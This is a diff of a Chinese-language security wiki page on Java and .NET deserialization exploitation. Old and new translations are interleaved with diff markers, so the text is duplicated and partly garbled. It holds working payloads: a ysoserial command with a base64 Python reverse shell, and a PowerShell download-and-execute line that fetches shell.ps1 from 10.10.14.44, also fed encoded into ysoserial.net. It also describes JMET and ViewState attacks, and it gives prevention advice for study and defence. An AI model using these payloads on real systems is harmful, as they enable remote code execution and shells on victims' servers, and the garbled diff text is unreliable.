java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||||||
# 将负载以base64编码
|
|
||||||
base64 -w0 负载
|
|
||||||
在创建**java.lang.Runtime.exec()**的有效负载时,**不能使用特殊字符**,如">"或"|"来重定向执行的输出,"$()"来执行命令,甚至**通过空格**分隔的命令参数(你可以使用`echo -n "hello world"`,但不能使用`python2 -c 'print "Hello world"'`)。为了正确编码有效负载,你可以[使用此网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。
|
|
||||||
|
|
||||||
请随意使用下面的脚本创建适用于Windows和Linux的**所有可能的代码执行**有效负载,然后在易受攻击的网页上进行测试:
|
# Base64 encode payload in base64
|
||||||
|
base64 -w0 payload
|
||||||
|
```
|
||||||
|
在为 **java.lang.Runtime.exec()** 创建有效载荷时,您**不能使用特殊字符**,如 ">" 或 "|" 来重定向执行的输出,"$()" 来执行命令,甚至**传递参数**给命令,参数之间由**空格**分隔(您可以执行 `echo -n "hello world"` 但不能执行 `python2 -c 'print "Hello world"'`)。为了正确编码有效载荷,您可以[使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。
|
||||||
|
|
||||||
|
随意使用以下脚本来创建适用于 Windows 和 Linux 的**所有可能的代码执行**有效载荷,然后在易受攻击的网页上测试它们:
|
||||||
```python
|
```python
|
||||||
import os
|
import os
|
||||||
import base64
|
import base64
|
||||||
|
@ -443,11 +446,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||||
```
|
```
|
||||||
#### serialkillerbypassgadgets
|
#### serialkillerbypassgadgets
|
||||||
|
|
||||||
您可以使用[https://github.com/pwntester/SerialKillerBypassGadgetCollection](https://github.com/pwntester/SerialKillerBypassGadgetCollection)与ysoserial一起创建更多的漏洞利用。有关该工具的更多信息,请参阅演讲的幻灯片:[https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
您可以**使用** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **结合ysoserial来创建更多的漏洞利用工具**。有关此工具的更多信息,请参阅工具介绍时的**演讲幻灯片**:[https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||||
|
|
||||||
#### marshalsec
|
#### marshalsec
|
||||||
|
|
||||||
[marshalsec](https://github.com/mbechler/marshalsec)可用于生成用于利用Java中不同的Json和Yml序列化库的有效载荷。为了编译该项目,我需要将以下依赖项添加到`pom.xml`中:
|
[**marshalsec**](https://github.com/mbechler/marshalsec) 可用于生成有效载荷,以利用Java中不同的**Json**和**Yml**序列化库。\
|
||||||
|
为了编译项目,我需要向`pom.xml`中**添加**这些**依赖项**:
|
||||||
```markup
|
```markup
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>javax.activation</groupId>
|
<groupId>javax.activation</groupId>
|
||||||
|
@ -462,61 +466,61 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||||
<type>pom</type>
|
<type>pom</type>
|
||||||
</dependency>
|
</dependency>
|
||||||
```
|
```
|
||||||
**安装 Maven**,并**编译**项目:
|
**安装 maven**,并**编译**项目:
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install maven
|
sudo apt-get install maven
|
||||||
mvn clean package -DskipTests
|
mvn clean package -DskipTests
|
||||||
```
|
```
|
||||||
#### FastJSON
|
#### FastJSON
|
||||||
|
|
||||||
了解更多关于这个Java JSON库的信息:[https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
阅读更多关于这个Java JSON库的信息:[https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||||
|
|
||||||
### 实验
|
### 实验室
|
||||||
|
|
||||||
* 如果你想测试一些ysoserial的有效载荷,你可以**运行这个web应用程序**:[https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
* 如果你想测试一些ysoserial payloads,你可以**运行这个webapp**:[https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||||
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||||
|
|
||||||
### 为什么
|
### 为什么
|
||||||
|
|
||||||
Java非常喜欢在各个地方发送序列化对象。例如:
|
Java喜欢到处发送序列化对象。例如:
|
||||||
|
|
||||||
* 在**HTTP请求**中 - 参数、ViewState、Cookies等等。
|
* 在**HTTP请求**中 – 参数、ViewState、Cookies,应有尽有。
|
||||||
* **RMI** - 广泛使用的Java RMI协议完全基于序列化。
|
* **RMI** – 广泛使用的Java RMI协议完全基于序列化
|
||||||
* **RMI over HTTP** - 许多Java厚客户端Web应用程序使用此协议 - 再次是100%的序列化对象。
|
* **通过HTTP的RMI** – 许多Java厚客户端web应用使用这个 – 再次是100%序列化对象
|
||||||
* **JMX** - 同样,依赖于通过网络发送的序列化对象。
|
* **JMX** – 同样,依赖于通过网络发送的序列化对象
|
||||||
* **自定义协议** - 发送和接收原始Java对象是常态 - 我们将在即将到来的一些攻击中看到。
|
* **自定义协议** – 发送和接收原始Java对象是常态 – 我们将在一些即将到来的漏洞中看到
|
||||||
|
|
||||||
### 预防
|
### 预防
|
||||||
|
|
||||||
#### 瞬态对象
|
#### 瞬态对象
|
||||||
|
|
||||||
实现`Serializable`接口的类可以将类内部不应该被序列化的任何对象标记为`transient`。例如:
|
实现了`Serializable`的类可以将类内部不应该被序列化的任何对象实现为`transient`。例如:
|
||||||
```java
|
```java
|
||||||
public class myAccount implements Serializable
|
public class myAccount implements Serializable
|
||||||
{
|
{
|
||||||
private transient double profit; // declared transient
|
private transient double profit; // declared transient
|
||||||
private transient double margin; // declared transient
|
private transient double margin; // declared transient
|
||||||
```
|
```
|
||||||
#### 避免对需要实现Serializable接口的类进行序列化
|
#### 避免序列化需要实现 Serializable 的类
|
||||||
|
|
||||||
由于类的层次结构,你的一些应用对象可能被强制实现`Serializable`接口。为了确保你的应用对象无法被反序列化,应该声明一个`readObject()`方法(带有`final`修饰符),该方法始终抛出异常:
|
由于继承关系,您的应用程序对象可能被迫实现 `Serializable`。为了确保您的应用程序对象不能被反序列化,应该声明一个 `readObject()` 方法(带有 `final` 修饰符),该方法始终抛出异常:
|
||||||
```java
|
```java
|
||||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||||
throw new java.io.IOException("Cannot be deserialized");
|
throw new java.io.IOException("Cannot be deserialized");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
#### 在反序列化之前检查反序列化的类
|
#### 在反序列化前检查反序列化的类
|
||||||
|
|
||||||
`java.io.ObjectInputStream` 类用于反序列化对象。通过对其进行子类化,可以增强其行为。如果满足以下条件,则这是最佳解决方案:
|
`java.io.ObjectInputStream` 类用于反序列化对象。通过继承这个类可以加强其行为。如果以下情况适用,这是最佳解决方案:
|
||||||
|
|
||||||
* 您可以更改执行反序列化的代码
|
* 您可以更改执行反序列化的代码
|
||||||
* 您知道希望反序列化的类是哪些
|
* 您知道您期望反序列化哪些类
|
||||||
|
|
||||||
总体思路是重写 [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) 方法,以限制允许反序列化的类。
|
一般的想法是覆盖 [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) 方法,以限制允许反序列化的类。
|
||||||
|
|
||||||
由于此调用发生在调用 `readObject()` 之前,您可以确保除非是您希望允许的类型,否则不会发生任何反序列化活动。
|
因为这个调用发生在 `readObject()` 被调用之前,您可以确信,除非类型是您希望允许的类型,否则不会发生任何反序列化活动。
|
||||||
|
|
||||||
下面是一个简单的示例,其中 `LookAheadObjectInputStream` 类保证只反序列化 `Bicycle` 类型:
|
这里展示了一个简单的例子,其中 `LookAheadObjectInputStream` 类保证不反序列化任何类型,除了 `Bicycle` 类:
|
||||||
```java
|
```java
|
||||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||||
|
|
||||||
|
@ -536,15 +540,17 @@ return super.resolveClass(desc);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**使用代理加固所有java.io.ObjectInputStream的使用**
|
**使用代理加固所有 java.io.ObjectInputStream 的使用**
|
||||||
|
|
||||||
如果你不拥有代码或者不能等待修补程序,使用代理来编织对`java.io.ObjectInputStream`的加固是最好的解决方案。\
|
如果您不拥有代码或不能等待补丁,使用代理来加固 `java.io.ObjectInputStream` 是最佳解决方案。\
|
||||||
使用这种方法,你只能将已知的恶意类型列入黑名单,而不能将它们列入白名单,因为你不知道哪些对象正在被序列化。
|
采用这种方法,您只能将已知的恶意类型列入黑名单,而不能将它们列入白名单,因为您不知道哪些对象正在被序列化。
|
||||||
|
|
||||||
要启用这些代理,只需添加一个新的JVM参数:
|
要启用这些代理,只需添加一个新的 JVM 参数:
|
||||||
```
|
```
|
||||||
-javaagent:name-of-agent.jar
|
-javaagent:name-of-agent.jar
|
||||||
```
|
```
|
||||||
|
示例:[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||||
|
|
||||||
### 参考资料
|
### 参考资料
|
||||||
|
|
||||||
* 反序列化和ysoserial讲座:[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
* 反序列化和ysoserial讲座:[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||||
|
@ -556,11 +562,11 @@ return super.resolveClass(desc);
|
||||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||||
* Java和.Net JSON反序列化**论文:**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,**讲座:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
* Java和.Net JSON反序列化**论文:**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,**讲座:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
* 反序列化CVE:[https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
* 反序列化CVEs:[https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||||
|
|
||||||
## JNDI注入和log4Shell
|
## JNDI Injection & log4Shell
|
||||||
|
|
||||||
在以下页面中找到**JNDI注入是什么,如何通过RMI、CORBA和LDAP滥用它以及如何利用log4shell**(以及此漏洞的示例):
|
在以下页面中找到**JNDI Injection是什么,如何通过RMI、CORBA和LDAP滥用它,以及如何利用log4shell**(以及此漏洞的示例):
|
||||||
|
|
||||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||||
|
@ -568,11 +574,11 @@ return super.resolveClass(desc);
|
||||||
|
|
||||||
## JMS - Java消息服务
|
## JMS - Java消息服务
|
||||||
|
|
||||||
> **Java消息服务**(**JMS**)API是用于在两个或多个客户端之间发送消息的Java面向消息的中间件API。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,并由Sun Microsystems开发的规范指导,但现在由Java社区进程指导。它是一种允许基于Java EE的应用程序组件创建、发送、接收和读取消息的消息标准。它允许分布式应用程序的不同组件之间的通信松散耦合、可靠和异步。(来自[Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service))。
|
> **Java消息服务**(**JMS**)API是一个用于在两个或多个客户端之间发送消息的Java面向消息的中间件API。它是处理生产者-消费者问题的一个实现。JMS是Java平台企业版(Java EE)的一部分,并由Sun Microsystems开发的规范定义,但此后一直由Java社区过程指导。它是一个允许基于Java EE的应用程序组件创建、发送、接收和读取消息的消息标准。它允许分布式应用程序的不同组件之间的通信是松散耦合的、可靠的和异步的。(来自[Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||||
|
|
||||||
### 产品
|
### 产品
|
||||||
|
|
||||||
有几个使用此中间件发送消息的产品:
|
有几种产品使用这种中间件发送消息:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (291).png>)
|
![](<../../.gitbook/assets/image (291).png>)
|
||||||
|
|
||||||
|
@ -580,12 +586,12 @@ return super.resolveClass(desc);
|
||||||
|
|
||||||
### 利用
|
### 利用
|
||||||
|
|
||||||
因此,基本上有一些**使用JMS的服务以危险的方式**。因此,如果您有**足够的权限**向这些服务发送消息(通常需要有效的凭据),您可能能够发送**恶意对象序列化,由消费者/订阅者进行反序列化**。\
|
所以,基本上有一**堆服务以危险的方式使用JMS**。因此,如果你有**足够的权限**向这些服务发送消息(通常你需要有效的凭据),你可以发送**被消费者/订阅者反序列化的恶意对象序列化**。\
|
||||||
这意味着在此利用中,所有**使用该消息的客户端都将被感染**。
|
这意味着在这种利用中,所有将要使用该消息的**客户端都将被感染**。
|
||||||
|
|
||||||
您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadgets来利用该漏洞。
|
你应该记住,即使一个服务是脆弱的(因为它不安全地反序列化用户输入),你仍然需要找到有效的小工具来利用这个漏洞。
|
||||||
|
|
||||||
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务,发送使用已知gadgets序列化的多个恶意对象**。如果服务仍然存在漏洞,并且使用的任何gadgets都在易受攻击的应用程序中,这些利用将起作用。
|
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建来**连接并攻击这些服务,发送使用已知小工具序列化的多个恶意对象**。如果服务仍然脆弱,并且任何使用的小工具都在脆弱的应用程序中,这些漏洞将起作用。
|
||||||
|
|
||||||
### 参考资料
|
### 参考资料
|
||||||
|
|
||||||
|
@ -594,42 +600,43 @@ return super.resolveClass(desc);
|
||||||
|
|
||||||
## .Net
|
## .Net
|
||||||
|
|
||||||
与Java类似,.Net在反序列化利用方面的工作方式也相似:**利用**将**滥用gadgets**,当对象**反序列化**时执行一些有趣的**代码**。
|
.Net在反序列化漏洞的工作方式上与Java类似:**漏洞**将**滥用小工具**,这些小工具在对象**被反序列化时执行**一些有趣的**代码**。
|
||||||
### 指纹识别
|
|
||||||
|
### 指纹
|
||||||
|
|
||||||
#### WhiteBox
|
#### WhiteBox
|
||||||
|
|
||||||
在源代码中搜索以下术语:
|
搜索源代码中的以下术语:
|
||||||
|
|
||||||
1. `TypeNameHandling`
|
1. `TypeNameHandling`
|
||||||
2. `JavaScriptTypeResolver`
|
2. `JavaScriptTypeResolver`
|
||||||
|
|
||||||
查找任何由用户控制的变量设置类型的序列化器。
|
寻找任何由用户控制的变量设置类型的序列化器。
|
||||||
|
|
||||||
#### BlackBox
|
#### BlackBox
|
||||||
|
|
||||||
您可以搜索Base64编码的字符串**AAEAAAD/////**或任何其他可能在后端进行反序列化的内容,并允许您控制反序列化的类型。例如,包含`TypeObject`或`$type`的**JSON**或**XML**。
|
你可以搜索Base64编码的字符串**AAEAAAD/////**或任何其他可能在后端**被反序列化**的东西,允许你控制反序列化类型**。**例如,包含`TypeObject`或`$type`的**JSON**或**XML**。
|
||||||
|
|
||||||
### ysoserial.net
|
### ysoserial.net
|
||||||
|
|
||||||
在这种情况下,您可以使用工具[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)来创建反序列化利用。下载git存储库后,您应该使用Visual Studio等工具**编译该工具**。
|
在这种情况下,你可以使用工具[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)来**创建反序列化漏洞**。下载git仓库后,你应该使用Visual Studio等工具**编译该工具**。
|
||||||
|
|
||||||
如果您想了解**ysoserial.net如何创建其利用**,您可以[**查看此页面,其中解释了ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
如果你想了解**ysoserial.net是如何创建它的漏洞**,你可以[**查看这个页面,其中解释了ObjectDataProvider小工具+ExpandedWrapper+Json.Net格式化器**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||||
|
|
||||||
**ysoserial.net**的主要选项有:**`--gadget`**,**`--formatter`**,**`--output`**和**`--plugin`**。
|
**ysoserial.net**的主要选项是:**`--gadget`**,**`--formatter`**,**`--output`** 和 **`--plugin`**。
|
||||||
|
|
||||||
* **`--gadget`** 用于指示要滥用的gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。
|
* **`--gadget`** 用于指示要滥用的小工具(指示在反序列化期间将被滥用以执行命令的类/函数)。
|
||||||
* **`--formatter`** 用于指示用于序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库来序列化它)
|
* **`--formatter`**,用于指示序列化漏洞的方法(你需要知道后端使用哪个库来反序列化有效载荷,并使用相同的方法来序列化它)
|
||||||
* **`--output`** 用于指示是否要以**原始**或**Base64**编码的形式提供利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行编码,因此如果您获取原始负载并仅从Linux控制台进行编码,可能会遇到一些**编码兼容性问题**,这将导致利用无法正常工作(在HTB JSON盒子中,有效负载在UTF-16LE和ASCII中都有效,但这并不意味着它总是有效)。
|
* **`--output`** 用于指示你是否希望以**原始**或**base64**编码的形式获取漏洞。_注意**ysoserial.net**将使用**UTF-16LE**(Windows默认使用的编码)对有效载荷进行**编码**,所以如果你获取原始数据并仅从Linux控制台对其进行编码,你可能会遇到一些**编码兼容性问题**,这将阻止漏洞正常工作(在HTB JSON盒子中,有效载荷在UTF-16LE和ASCII中都有效,但这并不意味着它总是有效)。_
|
||||||
* **`--plugin`** ysoserial.net支持插件来构建针对特定框架的利用,如ViewState
|
* **`--plugin`** ysoserial.net支持插件来制作**特定框架的漏洞**,如ViewState
|
||||||
|
|
||||||
#### 更多ysoserial.net参数
|
#### 更多ysoserial.net参数
|
||||||
|
|
||||||
* `--minify`将提供一个**更小的有效负载**(如果可能)
|
* `--minify` 将提供一个**更小的有效载荷**(如果可能)
|
||||||
* `--raf -f Json.Net -c "anything"` 这将指示可以与提供的格式化程序(在本例中为`Json.Net`)一起使用的所有gadgets。
|
* `--raf -f Json.Net -c "anything"` 这将指示所有可以与提供的格式化器一起使用的小工具(在这种情况下为`Json.Net`)
|
||||||
* `--sf xml` 您可以**指定一个gadget**(`-g`),ysoserial.net将搜索包含"xml"(不区分大小写)的格式化程序。
|
* `--sf xml` 你可以**指示一个小工具**(`-g`),ysoserial.net将搜索包含"xml"的格式化器(不区分大小写)
|
||||||
|
|
||||||
**ysoserial示例**以创建利用:
|
**ysoserial示例**来创建漏洞:
|
||||||
```bash
|
```bash
|
||||||
#Send ping
|
#Send ping
|
||||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||||
|
@ -647,7 +654,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||||
#Create exploit using the created B64 shellcode
|
#Create exploit using the created B64 shellcode
|
||||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||||
```
|
```
|
||||||
**ysoserial.net**还有一个非常有趣的参数,可以帮助更好地理解每个漏洞的工作原理:`--test`。如果你指定了这个参数,**ysoserial.net**将在本地尝试执行漏洞,这样你就可以测试你的有效载荷是否能正常工作。这个参数非常有用,因为如果你查看代码,你会发现像下面这样的代码块(来自[ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
**ysoserial.net** 还有一个**非常有趣的参数**,有助于更好地理解每个漏洞的工作原理:`--test`\
|
||||||
|
如果你指定了这个参数,**ysoserial.net** 将**尝试在本地执行**漏洞,因此你可以测试你的有效载荷是否能正确工作。\
|
||||||
|
这个参数很有用,因为如果你审查代码,你会发现像下面这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||||
```java
|
```java
|
||||||
if (inputArgs.Test)
|
if (inputArgs.Test)
|
||||||
{
|
{
|
||||||
|
@ -661,7 +670,9 @@ Debugging.ShowErrors(inputArgs, err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
这意味着为了测试漏洞,代码将调用[serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)。
|
```markdown
|
||||||
|
这意味着为了测试漏洞,代码将调用 [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||||
|
```
|
||||||
```java
|
```java
|
||||||
public static object JsonNet_deserialize(string str)
|
public static object JsonNet_deserialize(string str)
|
||||||
{
|
{
|
||||||
|
@ -672,32 +683,34 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
在**之前的代码中存在漏洞**。因此,如果在一个.Net应用程序中找到类似的代码,那么很可能该应用程序也存在漏洞。\
|
在**之前的代码中容易受到创建的漏洞的攻击**。所以,如果你在 .Net 应用程序中发现了类似的情况,这意味着那个应用程序可能也容易受到攻击。
|
||||||
因此,**`--test`**参数允许我们了解哪些代码块容易受到**ysoserial.net**可以创建的反序列化漏洞的攻击。
|
因此,**`--test`** 参数允许我们理解**哪些代码块容易受到** ysoserial.net 可以创建的反序列化漏洞的攻击。
|
||||||
|
|
||||||
### ViewState
|
### ViewState
|
||||||
|
|
||||||
请查看[这篇关于**如何尝试利用.Net的\_\_ViewState参数**的POST](exploiting-\_\_viewstate-parameter.md)**来执行任意代码**。如果你**已经知道受害机器使用的密钥**,[**阅读这篇文章以了解如何执行代码**](exploiting-\_\_viewstate-knowing-the-secret.md)**。**
|
看看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-\_\_viewstate-parameter.md)来**执行任意代码**的文章。如果你**已经知道受害机器使用的秘密**,[**阅读这篇文章了解如何执行代码**](exploiting-\_\_viewstate-knowing-the-secret.md)。
|
||||||
|
|
||||||
### **预防措施**
|
### **预防**
|
||||||
|
|
||||||
不要允许数据流定义流将被反序列化为的对象类型。例如,如果可能的话,可以通过使用`DataContractSerializer`或`XmlSerializer`来防止这种情况发生。
|
不要允许数据流定义将要反序列化到的对象类型。例如,你可以通过使用 `DataContractSerializer` 或 `XmlSerializer` 来预防这种情况,如果可能的话。
|
||||||
|
|
||||||
在使用`JSON.Net`时,请确保`TypeNameHandling`仅设置为`None`。
|
在使用 `JSON.Net` 时,确保 `TypeNameHandling` 只设置为 `None`。
|
||||||
```
|
```
|
||||||
TypeNameHandling = TypeNameHandling.None
|
TypeNameHandling = TypeNameHandling.None
|
||||||
```
|
```
|
||||||
如果要使用`JavaScriptSerializer`,则不要与`JavaScriptTypeResolver`一起使用。
|
```markdown
|
||||||
|
如果必须使用`JavaScriptSerializer`,则不要将其与`JavaScriptTypeResolver`一起使用。
|
||||||
|
|
||||||
如果必须反序列化定义了自己类型的数据流,则应限制允许反序列化的类型。但是,应该意识到这仍然存在风险,因为许多本机的 .Net 类型本身可能是危险的。例如:
|
如果必须反序列化定义了自己类型的数据流,则应限制允许反序列化的类型。应该意识到这仍然是有风险的,因为许多原生.Net类型本身可能具有潜在危险。例如:
|
||||||
|
```
|
||||||
```
|
```
|
||||||
System.IO.FileInfo
|
System.IO.FileInfo
|
||||||
```
|
```
|
||||||
`FileInfo` 对象引用实际位于服务器上的文件,当进行反序列化时,可以更改这些文件的属性,例如将其设置为只读,从而创建潜在的拒绝服务攻击。
|
`FileInfo` 对象在反序列化时,如果引用了服务器上实际存在的文件,可以更改这些文件的属性,例如设置为只读,从而可能导致拒绝服务攻击。
|
||||||
|
|
||||||
即使您已经限制了可以进行反序列化的类型,也要记住某些类型具有风险的属性。例如,`System.ComponentModel.DataAnnotations.ValidationException` 具有一个名为 `Value` 的属性,其类型为 `Object`。如果允许反序列化的类型是该类型,则攻击者可以将 `Value` 属性设置为任何他们选择的对象类型。
|
即使您已经限制了可以反序列化的类型,记住某些类型的属性可能存在风险。例如,`System.ComponentModel.DataAnnotations.ValidationException` 有一个类型为 `Object` 的属性 `Value`。如果这个类型是允许反序列化的类型,那么攻击者可以将 `Value` 属性设置为他们选择的任何对象类型。
|
||||||
|
|
||||||
应该防止攻击者操纵将要实例化的类型。如果这是可能的,甚至可以破坏 `DataContractSerializer` 或 `XmlSerializer`。
|
应该阻止攻击者指定将要实例化的类型。如果这是可能的,那么即使是 `DataContractSerializer` 或 `XmlSerializer` 也可能被颠覆,例如:
|
